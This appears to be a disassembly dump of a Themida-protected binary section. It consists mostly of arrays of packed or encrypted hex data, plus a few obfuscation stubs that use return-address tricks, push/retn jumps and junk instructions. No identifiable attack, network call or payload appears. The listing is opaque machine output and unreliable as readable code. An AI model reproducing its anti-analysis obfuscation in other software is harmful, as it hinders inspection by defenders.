		dd 0A0000000h, 0FB9D5CFFh, 9254D9B2h, 0AF57D794h, 2230F1E6h
		dd 12DFD636h, 1D1h, 52FF6A00h, 735C8A17h, 82B9CD5h, 6DCBDC41h
		dd 7109ADC2h, 0AFAEE14Bh, 56CF544Dh, 66497D38h,	0B92A8EC7h
		dd 8DAF10DAh, 0EA4E5FC4h, 84A9B071h, 3DBEFA0Ch,	0AB84AF58h
		dd 0A8CB74B2h, 0BA7EA5E1h, 2E733A59h, 53F4BBFDh, 1F33F296h
		dd 0EBC4D55Ah, 5FF4ADF2h, 6C0C951Ah, 727F825h, 0F229E54Ah
		dd 0F65FA231h, 83C5632Dh, 0AF57D787h, 0D946D27Dh, 4BB1F5B8h
		dd 9E9DE001h, 892F7490h, 0E14E0726h, 69DDF05h, 0ABF4743Ah
		dd 413F7B83h, 0C364AF58h, 45D37C8Eh, 0AAF7BEDAh, 0B6C46DC6h
		dd 12DFBE2Ah, 0A42Dh, 5EFFF600h, 6AB7FA9Bh, 0FDFDB931h
		dd 0F36D647Dh, 6C0C951Ah, 63C08DADh, 53CC514Ah,	6B347930h
		dd 256809C8h, 69B6AFF8h, 9571E5D1h, 3D7096E1h, 0C568E748h
		dd 0A7C8CF50h, 52F35CEAh, 5770A8D2h, 1033AF58h,	3C3D459h
		dd 31F23F28h, 75DB581Dh, 14B159Eh, 0BC4D2F0Dh, 1DAF5B8Fh
		dd 0AF585E1Dh, 48EC4CE7h, 12DF53ACh, 6BABh, 30BA7C00h
		dd 0FF7C8AFEh, 951A9E60h, 0B81C31F4h, 48229F34h, 0B1FED743h
		dd 280148F0h, 0DB6D8B3Fh, 0AF58A9DFh, 0BD2E8AA5h, 0A40940E4h
		dd 0F169F14h, 0C48DAB6Eh, 0D1554E5Fh, 0EA1CBAEAh, 0AF57D6AEh
		dd 2B4ABB94h, 0C4693662h, 0FF246909h, 0F268B5AEh, 0D6F63254h
		dd 63CCAF57h, 0D6F43335h, 5146AF57h, 0D6D6C2D0h, 13112DFh
		dd 0A000000h, 753859BAh, 0F6B9FF28h, 0BCF59352h, 0E04D2677h
		dd 6E981C3Fh, 0AF57D72Ah, 0D9463F18h, 0A8F4BD16h, 0D6C0F802h
		dd 0A982AF57h, 0B1F8A00Fh, 0D962D275h, 0E4409B2Dh, 2902B5FFh
		dd 3D7012FDh, 7C9B46F0h, 0F1C462DBh, 72339018h,	0A30C9AD3h
		dd 0E264C980h, 0B60029A4h, 561A9B10h, 1187CE6Dh, 60A6EF8Eh
		dd 0EE570FAh, 0EC5C4D95h, 940E34Ch, 9958FBA4h, 3E6FB4F9h
		dd 0FC59D845h, 40092C33h, 6C6652FAh, 28811477h,	9A000001h
		dd 0E986B5E7h, 514A0F24h, 0C4E2DBCCh, 73F82h, 852A05B6h
		dd 8A30791Ch, 6DEDA6Ch,	8BA4B600h, 13B9A72Dh, 6B1E9h, 70B893B6h
		dd 58C58CAFh, 40EDA4C7h, 0A9F6B3DFh, 921F5AF8h,	0FE3D7011h
		dd 0AA15A40Dh, 0FA99A001h, 87AC17B3h, 0EC4C5DC2h, 2852F866h
		dd 0B60006F0h, 7B3F79D2h, 1477E68Fh, 476Eh, 0B6E7B100h
		dd 4DADDF0Bh, 372F57D7h, 5357971Ch, 452F57D7h, 0F52645EEh
		dd 0D4769C4Ah, 2F57D6D4h, 0C91385AEh, 521F40A3h, 0D6E800C6h
		dd 50FEAF57h, 57D6F236h, 3167D0AFh, 1D86240Fh, 0BCED327Bh
		dd 7C0D967Ch, 28000000h, 0D80EB5E7h, 0B63251B2h, 57D71414h
		dd 6C45EEAFh, 0A633ACCh, 0F305B600h, 2FB816BAh,	6F264697h
		dd 0F2365076h, 0D0B60055h, 240F3167h, 4E0726FFh, 7D3457F8h
		dd 0AAC92A30h, 72B3B5E3h, 0DEB60057h, 26454CD5h, 0CC60DB6Fh
		dd 53295377h, 31BCAFB5h, 0B579B1CBh, 0E04BBCAFh, 5AF9AAF7h
		dd 73B0F99Bh, 0E0A5C93Ah, 2C716A43h, 1F802Dh, 0B7F29FACh
		dd 0FC9E28DEh, 0C6C35F13h, 0E7F2D96Dh, 0AED80EB5h, 0B60735CCh
		dd 86699DB6h, 377220E5h, 50D8B1EAh, 0BFC977F3h,	0B607367Bh
		dd 0E54AEE49h, 18BB0F46h, 0BDFFDD75h, 0E03507Fh, 12EC0B4Dh
		dd 0D9B2B423h, 0FD079254h, 3DAEE1A6h, 4ACE6D74h, 0A6FCF830h
		dd 8861CAE1h, 0BBF29132h, 4C81AD76h, 0C45E829h,	2C9D8E13h
		dd 0CBDC4108h, 218A4DD2h, 5EDA7980h, 0A6FCEC2Ch, 847DD6E1h
		dd 3FFE9D06h, 0D1CA5712h, 14CABBF8h, 0ED000000h, 0AEEA1CBAh
		dd 94AF57D6h, 47FD7DBBh, 2C71385Ch, 0FF76BDFBh,	138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 815E5456h, 4C6h
		dd 4EE8300h, 5C243487h,	171D68h, 240C8900h, 62C568h, 242C8900h
		dd 7DEEBD55h, 814D0AECh, 0F52109F5h, 6EF58132h,	553EB602h
		dd 8B545D59h, 0C483242Ch, 638F6804h, 14890000h,	8BA24h
		dd 0EA010000h, 0FF5A0A89h, 835D2434h, 34FF04C4h, 0C4815924h
		dd 4, 0F91A15E9h, 0B843A8FFh, 6AF6347h,	0E0FFC503h, 5BF33078h
		dd 1CA07EDFh, 38333244h, 79B558DDh, 2A22E353h, 51F36331h
		dd 23E7A56h, 5BF3B3C8h,	24B5A637h, 106E3947h, 43FDF856h
		dd 15656D16h, 227A13A8h, 6322FACBh, 2F306BCh, 217112FFh
		dd 52BE3AECh, 740CE19Ch, 6860F77Ah, 4B431077h, 7CFDD0EEh
		dd 31E480C3h, 46B65C7h,	2D752E00h, 5C54FAC3h, 0F169331h
		dd 7F7A0A26h, 7AADB05Bh, 5E491D77h, 3E4AD7E9h, 0BF0ADF9h
		dd 3AAB55D1h, 0A2E9h, 0EDA4C300h, 1C59F659h, 4A03258Eh
		dd 7A3F53FCh, 0AFE2832Ch, 35DD9C1Bh, 62CD5914h,	96398DC0h
		dd 0C86BBFF6h, 0CE5EECA5h, 3AAEEA1Ch, 5694B607h, 0EDA4C728h
		dd 53FF604Bh, 0D8B1FC9Eh, 57FBA45Bh, 31729412h,	37AF57D7h
		dd 0D73B7F89h, 0CF09AF57h, 5C583A1Ah, 9602FB16h, 9A4E5450h
		dd 8ACE16AFh, 6A8CAFDCh, 19B01E6Dh, 3, 0FFCBB03Ch, 138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 0AF643C68h, 18E8E906h
		dd 0C122FFF9h, 0EB9FF0BEh, 16h,	4 dup(0)
		dd 24010100h, 0AF000004h, 0F5958B06h, 6606A808h, 905EBABBh
		dd 0D4AABA60h, 6651514Dh, 5F27AFBAh, 0FBB15061h, 0DBD8B90h
		dd 6A06A80Fh, 6840F00h,	81000000h, 88445ECFh, 6A006A3Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0EEABC356h, 19ED44EFh, 892F3DC6h,	0A80B11B5h
		dd 99BD2B06h, 8D06A831h, 0AF661C85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 903211B2h
		dd 0CE9h, 0C6B49F00h, 0F50AA1E2h, 88CEDF62h, 6A9050E4h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 5FAB9520h, 0D2B7C6C3h, 635952Bh,	6A06A8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E5C35040h
		dd 4195FFF8h, 8106A825h, 8426A3CAh, 19953141h, 0E906A80Fh
		dd 5ABh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	6AC35141h, 2B294C00h
dword_5C0024	dd 0A8336195h, 0E806h, 815D0000h, 0AF6621EDh, 50006A06h
					; DATA XREF: ___:004327ECo
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0A9BD89ACh, 8B06A82Ch, 0A829BD95h
dword_5C005C	dd 0E1B58906h, 0E806A814h, 4, 0FA0h, 0F850Fh, 52500000h
					; DATA XREF: ___:off_432940o
		dd 800Fh, 310F0000h, 5AFB8B66h,	448B5058h, 0A7B10424h
		dd 0BF66008Bh, 44891640h, 5E90424h, 0D000000h, 0F3771587h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0B99D8B6Eh, 0FF06A814h, 0A81B3195h, 0BE666006h
		dd 840FAA0Dh, 6, 62D9D8Bh, 8D6106A8h, 0AF64E0B5h, 29BD8906h
		dd 0C706A80Fh, 67655206h, 51006A6Dh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 47EC78FCh
		dd 0B3A19DF5h, 158D8957h, 5B06A801h, 0B880Fh, 6E90000h
		dd 0D3000000h, 4CE4FA6Ah, 446C7CDh, 6C636E6Fh, 846C7F8h
		dd 737361h, 6A5BF280h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0B8783869h, 69958B53h
		dd 8D06A82Ch, 0AF64E085h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AAC7BDE4h
		dd 67F82BBEh, 0DE85660h, 0FB000000h, 831238B3h,	0B95B6032h
		dd 571E30AAh, 0E8B55A5Ah, 6CB65061h, 0F240489h,	0C89h
		dd 6860F00h, 8B000000h,	0A80B298Dh, 2595FF06h, 6A06A831h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0D4D2C357h, 0EFBBCA5Eh, 663CBF0Dh, 6DBBE981h
		dd 840FC00Bh, 55h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0B2C35040h, 0A76CC2FFh, 810F33EEh, 6
		dd 0D15958Bh, 21E906A8h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B28C351h
		dd 0A81B5195h, 0C06B6806h, 12E96EE4h, 4E000000h, 5A9A24Fh
		dd 85C631E3h, 0F9C441BBh, 0BA397A66h, 24348179h, 6EE4C147h
		dd 9B30EA81h, 356660Dh,	0A830959Dh, 95FF5906h, 6A81B31h
		dd 27FD8589h, 0B58D06A8h, 6AF64E0h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 4FC35646h, 4B9B533Fh, 0A21FEC90h
		dd 0DD9D89D9h, 0C706A824h, 34383106h, 4BEFBA36h, 46C76C72h
		dd 342D3704h, 0CAEF8131h, 0C745BC65h, 846h, 9FB30000h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 119474C3h, 8BCDF0DCh, 0A8066D8Dh,	39958B06h
		dd 8D06A833h, 0AF64E085h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 4841D7B0h
		dd 0BF0F24E9h, 48950D9h, 0E59D8924h, 0FF06A805h, 0A8312595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D11621D8h, 32374D21h, 0B3EB56Ch, 2E840FC0h
		dd 81000000h, 0BA2D4D3h, 1CEE908h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2972B9C3h
		dd 0A80E8DBDh, 0BC486806h, 0FA8BDCC4h, 0E4240481h, 0E9233B44h
		dd 14h,	5A966AF7h, 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h
		dd 1B3195FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 4C50E3C3h, 0FDF30719h, 29F18D8Bh
		dd 8D0306A8h, 6A82B39h,	64E0B58Dh, 80F506AFh, 6C7EAE3h
		dd 656C6946h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	0EAC35545h, 0D5CA83AAh,	51331836h, 0A850Fh, 89600000h
		dd 0A8261DBDh, 615A5306h, 6D0446C7h, 6A636E6Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 497BC356h, 0BF840847h, 9D09524Ch, 6A814A9h, 846C75Fh
		dd 7373616Ch, 2975BD23h, 46C706A8h, 0Ch, 6840F00h, 31000000h
		dd 0A820619Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 3082C350h, 0E0858DA6h
		dd 6A06AF64h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 16D1C351h, 0CE5C9941h,	50D88B66h
		dd 28C0Fh, 0F98B0000h, 8B240489h, 0A822598Dh, 2595FF06h
		dd 6A06A831h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A0BEC352h, 9CB9959Eh,	6E8D171h
		dd 20000000h, 917A8E49h, 71BD2BF4h, 5A06A80Fh, 840FC00Bh
		dd 0Eh,	918D2BFCh, 0E906A822h, 10h, 0EEE9FB8Bh,	0FFFFFFAh
		dd 389h, 0D08B6600h, 7120B58Dh,	6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 689D92C3h
		dd 0EC6290A1h, 8A1DE411h, 89BD8BF0h, 0B806A831h, 0
; ---------------------------------------------------------------------------
		or	ebx, [ebp+6A81B61h]
		jmp	esi
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C058F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C058F	proc near		; CODE XREF: Themida_:005C0587p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C058F	endp

; ---------------------------------------------------------------------------
		push	38h
		retn
; ---------------------------------------------------------------------------
		test	eax, 7E9h
		add	[ebx-3942A23Fh], dh
		sbb	ecx, ebp
		mov	eax, ecx
		jmp	loc_5C05C1
; ---------------------------------------------------------------------------
		dw 4554h
		dd 6CBCh, 0
		db 0
; ---------------------------------------------------------------------------


loc_5C05C1:				; CODE XREF: Themida_:005C05B1j
		jmp	loc_5C133D
; ---------------------------------------------------------------------------
		push	6AF6E2Ch
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF6F0Fh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF6FBCh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF705Bh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF736Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF76ADh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF77B2h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dd 8A105900h, 0C5410429h, 33773E5Ah, 63A7E290h,	54D29FC0h
		dd 0C768AACFh, 0F3933C8Ah, 0A5C768BEh, 56F55EECh, 0C9138B1Fh
		dd 7427BBFh, 240349B6h,	8CF25EFFh, 5BBDCA23h, 5C47635Ch
		dd 0FD2E7336h, 0D812C8BBh, 5412F264h, 0EAB5E3C4h, 95E7034Ah
		dd 1C400E12h, 2A6B5A15h, 113CF00Ah, 54F75DDBh, 1DAF5BE0h
		dd 0B6000386h, 0CC37D37Ch, 83C5E1A8h, 0B6000387h, 0E546D27Dh
		dd 71A9D379h, 32B60003h, 0D9D25F16h, 9EBD2E09h,	0C7514AD7h
		dd 30501h, 31BBA1B6h, 4BEA00D3h, 145EC802h, 159AD375h
		dd 168D2B04h, 7FA5C38Dh, 0FFD8CDCDh, 729CB7B5h,	0B5FFD936h
		dd 0C68BAB0Ch, 0F3EF4BEDh, 321477D0h, 0F28284B8h, 0B1686EEAh
		dd 589DA1B2h, 27D5433Ch, 2Fh, 0EB5E7F8h, 0D7C7AED8h, 1ABDB5FFh
		dd 0D65B3479h, 0FFD81014h, 0BCF593B5h, 0C78EAE77h, 0A102FB5Ah
		dd 7C258E12h, 77D7827Eh, 116514h, 0BABE0000h, 0D6AEEA1Ch
		dd 0BB94AF57h, 873927Dh, 0FFB50000h, 1788155Ch,	0DC99B574h
		dd 0D96D4657h, 5175CE6Eh, 3B4DCD6Eh, 0AF57D6FFh, 2C716AC5h
		dd 0A59ED373h, 0D6C3C701h, 9681AF57h, 3FAED802h, 5B5FFF6h
		dd 7313FC2Ah, 70B8F13Eh, 0F64B4B93h, 8C67B5FFh,	0CD3B1723h
		dd 4AC21477h, 65000000h, 0F93459BAh, 0F439125Bh, 2B275A3h
		dd 81A20DB9h, 44866CCCh, 0B6000529h, 7312FD1Bh,	1AA4F53Ah
		dd 0B600051Eh, 0E9A0C3E4h, 817A5344h, 1E041365h, 10828172h
		dd 0E3232B98h, 0FFB6006Ah, 938F8B14h, 7A147742h, 0BEh
		dd 155CFFCDh, 3B761788h, 0B8C268F6h, 0AF57D780h, 2CBD2E4Ah
		dd 9B6B9ECCh, 622F4FB0h, 83CA6936h, 0AFE6851Eh,	5385E11Bh
		dd 7F1EAF58h, 0C00AF036h, 2E43BC13h, 0C46BCD50h, 743D60A1h
		dd 423B7E13h, 53163BA4h, 77A566C5h, 5DEC1ECCh, 27B600A4h
		dd 0CEB190EDh, 1BAD84D1h, 0B600691Fh, 78514AE5h, 803B9922h
		dd 0A90205Ah, 6D56BCABh, 0E81682CBh, 17389B4Fh,	0C263CC5Ah
		dd 0FAFE598Fh, 2380EC80h, 0A53A2h, 0FDB4D300h, 2C6906A9h
		dd 5A13359Eh, 8ACF63CCh, 0BFF2933Ch, 45CDEC6Bh,	72DD6924h
		dd 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 459E9A2Ch, 2664B607h
		dd 135EFFF9h, 40092C97h, 0B5E7DDFAh, 4FAED80Eh,	35B60005h
		dd 0BBFF692h, 4B9F1h, 0B7A08BB6h, 4A4E06Ah, 6BC0B600h
		dd 0F8DCC8CAh, 0BA3B1477h, 0CD000000h, 0AB084DE2h, 387D1172h
		dd 30BAABF0h, 0BC850DD5h, 52DD5B7Bh, 0F91D9B33h, 0CD818D5Dh
		dd 5D955706h, 1F08F769h, 3D701192h, 0FB0E76F0h,	0F695AF57h
		dd 0D05D1437h, 0A19923C7h, 63AF57FBh, 0E84BDFC8h, 0E6A70C45h
		dd 0AFD90DB6h, 0B600031Ch, 0E8A5C5E6h, 169BD677h, 709E2C05h
		dd 7DA2EF8Fh, 993B8C2Ch, 0DD428422h, 0A7BCAAA1h, 322B6E04h
		dd 470A2B94h, 723F60C3h, 8162EB56h, 7DC6E5ECh, 970h, 0BA0049F0h
		dd 0F5317419h, 23672E4Ah, 1397D280h, 44C28FB0h,	3758BAFFh
		dd 0E3832C7Ah, 95B718AEh, 46E54EDCh, 3923BB0Fh,	7468B8Fh
		dd 143379B6h, 97135EFFh, 0FA40092Ch, 6B30BADDh,	581BEB90h
		dd 92B17EBAh, 0AECD56DBh, 2380C96Fh, 0B5F8990Ah, 0C0463F68h
		dd 0EE4ECFA1h, 0E417B155h, 0DEB600AAh, 90F51375h, 0B5FC5DBh
		dd 52F412A9h, 666DEAE7h, 312D72DDh, 71BC01A7h, 7DBBFD1Ch
		dd 18390AAAh, 3C4E7C55h, 6D195969h, 0ACCAF05Bh,	19591E1Ah
		dd 0A5C3E46Dh, 7D5647ECh, 0AFCE313Bh, 5CFFA0E6h, 0AB88F315h
		dd 2D8E3C12h, 8C354h, 6D244300h, 9CD976D9h, 0CA83A50Eh
		dd 0FABFD37Ch, 2F6203ACh, 0B55D1C9Bh, 0E24DD994h, 16B90D40h
		dd 48EB3F76h, 4EDE6C25h, 462E6A9Ch, 0D614B607h,	155CFF69h
		dd 16AD0F88h, 0C8694AF0h, 37206D0Dh, 0CECA7CEAh, 0B4AF57D6h
		dd 0F076A29Bh, 0B600038Dh, 7F325477h, 0EA88F932h, 0AF10B6AFh
		dd 0DD46C48Dh, 0BDA9F6BFh, 6C8DEE3Bh, 0B931A7A2h, 494DA70Dh
		dd 8640E84Fh, 0B6009E82h, 0AE3C78h, 0ABDD7FB6h,	0AE1911h
		dd 5740EBB6h, 0DFE209B3h, 77A0BCA8h, 93DA792Ah,	83250075h
		dd 309112ECh, 824h, 7ECC85A4h, 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h
		dd 388EC364h, 7314FEB3h, 2747E83Eh, 0D173DC6Ah,	82A10298h
		dd 7DEF7FCBh, 746CFCBh,	0C877B5B6h, 0D80EB5E7h,	901851F7h
		dd 8C9304Ah, 90BBB600h,	0B8FD9213h, 761B8462h, 49D69BBBh
		dd 8C6F6750h, 0CB14CAF9h, 85AA75A3h, 7BDA63C0h,	56FC1AC0h
		dd 21F434h, 7DB9C6B6h, 916402B9h, 0B4B2E651h, 0B60089ACh
		dd 0A609BD96h, 0FA69CF86h, 0CED55E77h, 4D1A05A1h, 0A7B91858h
		dd 868E78CEh, 5B60034h,	4DFF2B96h, 0B6003471h, 0A5EC8C77h
		dd 47892F78h, 58F55EECh, 4656901Dh, 3B60035h, 6D0209AAh
		dd 1C319228h, 0B4F9BCD1h, 39258A63h, 0B6F1C8BFh, 92060977h
		dd 0FFE4A054h, 0AF705DB5h, 78CE8BA8h, 31D56CCFh, 24FC36A7h
		dd 90185379h, 99F5304Ah, 64CFB600h, 0FE603F3Fh,	977C2A61h
		dd 0F5100C0Eh, 76F769D5h, 48000001h, 0D80EB5E7h, 7E3751B2h
		dd 0B6B0F831h, 0B6000273h, 7DBDCF75h, 47B60002h, 0A9824CECh
		dd 0BAF3927Dh, 0E9A0C36Ch, 0FCB1D23Dh, 513266B7h, 46ADEF89h
		dd 8C15863Dh, 1BAFE685h, 57DC95B8h, 4EDC67D6h, 0DE0C49E5h
		dd 9B1855F5h, 0ECB51682h, 19BA0049h, 0D69BBB7Ah, 49AAB0FDh
		dd 0EE3F6429h, 644ABC4Ah, 0F26BAFD1h, 87C16F31h, 0AFD16483h
		dd 0DD42D641h, 10B3F7BEh, 5B5FE96Dh, 29AFD164h,	5288150Eh
		dd 64969234h, 0C36CAFD1h, 0D863D255h, 64A09822h, 0C962AFD1h
		dd 0DF69977Dh, 0AFD163DBh, 286506A9h, 1536F93Fh, 0E352DB58h
		dd 9B04A258h, 0E167B1F8h, 0AFD163ADh, 0C56EBC97h, 0E142EFA6h
		dd 0FFA00D40h, 158E135Eh, 39F53A73h, 7A1A2182h,	1EB75A33h
		dd 0C581CB95h, 47BBB5F9h, 15C565BBh, 312A648Bh,	0BEE3AED0h
		dd 0C164CB6Dh, 0E8185288h, 28189652h, 6D2846A7h, 0FB41D7C0h
		dd 4E7C3558h, 2C8CC965h, 0E45FFEBFh, 0C58C84C6h, 7152AFD1h
		dd 0F11F99DCh, 3C5FC046h, 0D5772875h, 0E18E179Ch, 86A67FA4h
		dd 76DF62CFh, 73A82EADh, 0C188ABB2h, 0F2BBDA45h, 0F249ECADh
		dd 0C600AED4h, 0AFD1C4C2h, 0A50A43E1h, 2DD97274h, 0D1C59F9Bh
		dd 6ECA65AFh, 0D1C5AC98h, 69BD96AFh, 42EFA6C6h,	3BEF5AF9h
		dd 0B6FBB6D8h, 9F293365h, 0AFD1C6ABh, 0D58A3BBDh, 0A81909C8h
		dd 0D155FE00h, 155CFFEAh, 3D863691h, 0CD194F89h, 0BDA11E59h
		dd 0A457F17Bh, 0BAB60053h, 53AEEA1Ch, 0BB94B600h, 3E632A4Ah
		dd 0AA854BEDh, 0C584D67Ch, 0F0B9DC60h, 858C6EE6h, 1607ACE9h
		dd 3B7F893Dh, 9B60061h,	7258A2Eh, 3557F84Eh, 0C676377Ch
		dd 0D03F497Dh, 96BCA88Dh, 0D845002Dh, 7F682147h, 92B41739h
		dd 357A3757h, 0F4120BE4h, 0EA976C62h, 4C868AF7h, 0D17EEA00h
		dd 5BC8601Ah, 0A8E39393h, 1FA408BCh, 152A51EBh,	0D33CC351h
		dd 93BDFBBEh, 0A2E402B8h, 0C3511566h, 0C6A5F35Ch, 51773E5Dh
		dd 0E5DAEFCEh, 1162E3C0h, 91000005h, 0C86BBFF6h, 0F758EEABh
		dd 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh,	5B16389Bh
		dd 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60749E0h, 0E7BF64A2h
		dd 0B2D80EB5h, 0D6B6F214h, 0A38CAF57h, 57D71F1Bh, 0EE4AE5AFh
		dd 16B0DE04h, 0AF57D712h, 47E647F0h, 2088A10Eh,	0A7B26h
		dd 992349B6h, 0B6000AA1h, 2BDFC863h, 46EBA6C8h,	0A572B5B4h
		dd 110A776Bh, 0E3222487h, 0FFB60075h, 938F8B14h, 7A14774Dh
		dd 0ABh, 0D78EA6CDh, 449DAF57h,	3D89C063h
		dd 7416298Ah, 0CAA3F439h, 3A9EB31Ch, 103CED3Eh,	69B6AF67h
		dd 0E6A3CF30h, 221EA8B2h, 0E0AF5886h, 1A39EA37h, 0AEF3B6DBh
		dd 7D66847Dh, 307D1DD0h, 5CC1BAF3h, 0A467ED4Bh,	0F412C873h
		dd 0A2E6204Eh, 60AF5886h, 860B0FB7h, 5EF9AF58h,	86140CDAh
		dd 45EEAF58h, 6D2447D8h, 739533D9h, 0AF588637h,	31F6220Dh
		dd 47812580h, 0AF58865Fh, 0F3DC0A25h, 8CAE1F52h, 72F457C1h
		dd 0AF58C632h, 531D862Fh, 38F53A19h, 7ABE771Fh,	15B10CADh
		dd 55C38AAAh, 76597D8Fh, 2BAF58h, 0E739BAh, 0E71C0000h
		dd 81B9C3B5h, 43AF57D7h, 81CBFFE8h, 0A51EC160h,	7EE43449h
		dd 0D59DCCh, 67CC67B6h,	3B7618FBh, 0DADE68F6h, 0A8B600D4h
		dd 9D02968Fh, 5A1738FDh, 2E622561h, 0C16E5175h,	404A1265h
		dd 0FDD60747h, 1717B1BBh, 0EDB5FFE6h, 181DDD42h, 8BB5FFE6h
		dd 0A57EA3E6h, 0A965CA83h, 0FE22B172h, 928E8C15h, 751477DDh
		dd 7Dh,	0AA9E7CEh, 0D551F3DCh, 57D777B3h, 9E24DAFh, 70345AFh
		dd 0FDAF57D7h, 3254CD52h, 8BCD2B7Fh, 99347146h,	0C58CB069h
		dd 0C2564F58h, 3AA5CB45h, 0DBCC5114h, 5883F733h, 8962CDAFh
		dd 9595375Dh, 6FAF5884h, 608E54C4h, 0DAF4D16h, 54C41335h
		dd 57DAE292h, 2A77A0AFh, 581AE420h, 3345E1AFh, 81093149h
		dd 2398106Ah, 762D6382h, 833E3650h, 0BF20AF58h,	514AD792h
		dd 881E39C7h, 155CFFA3h, 92345288h, 0AF57D796h,	0CA55C36Ch
		dd 0E3A4E2ABh, 0AADC0AB1h, 0B5FFF643h, 41891601h, 0B5FFF645h
		dd 2F74315Eh, 2A9BD276h, 1BDE430Ah, 1DAFF1B2h, 0B5FFF61Dh
		dd 0CD534CE7h, 0C78AAC17h, 3939FA51h, 1477CD4Dh, 20A8h
		dd 0B5E77300h, 4FAED80Eh, 35B60005h, 5155951Ah,	6DB60005h
		dd 211D1D86h, 0C41477F8h, 112h,	3F59BA5Fh, 0DE7D2276h
		dd 0F3DC0A97h, 98911E53h, 0E0480127h, 0B7531E3Fh, 0C860294Ch
		dd 3248F5Bh, 60C8E14Eh,	48D59CBFh, 0D6FA5892h, 0AD590E78h
		dd 0C881A40Bh, 0B2B9472h, 68C0D946h, 5899769Eh,	470E2DAFh
		dd 743D60C3h, 6F95332Fh, 5898DDDDh, 428CA7AFh, 0AF589946h
		dd 285133Ch, 2C80A192h,	0E496B6E8h, 159A732Bh, 4DFF2B04h
		dd 0B600D21Eh, 4CFF4BE4h, 9B753E8h, 0D1BBFFh, 0AAE89B6h
		dd 7471A6E0h, 0F853BCABh, 9E52A4C2h, 9694DCCBh,	92AF523h
		dd 0CE78A644h, 0BCAB56CAh, 0B3199FB8h, 9D9D2F55h, 67BCAB57h
		dd 71385BCCh, 0F2BDFB2Ch, 5DEC1C51h, 0A7EC80ADh, 1D2BB04h
		dd 37520000h, 0EA87287Eh, 90B81BAFh, 4CE24DD9h,	7112BD09h
		dd 5061EE3Ch, 5EECA1C2h, 821855F5h, 0FC4A0321h,	2D793053h
		dd 2119A3B9h, 0E3B6074Dh, 5EFF7EA5h, 0C3699713h, 0D7C4A789h
		dd 2FD7B448h, 0AF5838EBh, 753A7ED9h, 0CD6B9FD6h, 58397FBBh
		dd 4EEA45AFh, 0B5E7DFC4h, 4FAED80Eh, 11B60005h,	55951EBh
		dd 2BB600h, 568A0DAh, 0F15AB600h, 71BE99A7h, 0FD3D4FF5h
		dd 0C7B60004h, 140D44E4h, 5424284h, 0F55EB600h,	0F8322E2Ch
		dd 0BCD51477h, 6E000000h, 88155CFFh, 90B37617h,	0BB43E0D9h
		dd 0AF57DC5Bh, 93D5CB0Dh, 25CE9685h, 0A1092CF3h, 0E62EDA30h
		dd 701475B3h, 59FA4039h, 6D2E733Ah, 345674CFh, 0B60049C5h
		dd 0B51694BFh, 0E00EBC07h, 891653FFh, 7ACE1890h, 6CBCAAE8h
